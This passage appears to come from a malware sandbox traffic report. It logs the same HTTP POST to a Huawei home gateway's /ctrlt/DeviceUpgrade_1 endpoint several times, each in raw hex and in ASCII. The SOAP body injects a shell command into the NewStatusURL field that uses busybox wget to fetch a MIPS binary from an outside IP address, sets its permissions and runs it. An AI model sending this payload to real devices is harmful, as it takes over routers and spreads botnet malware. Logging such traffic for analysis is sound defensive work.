xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
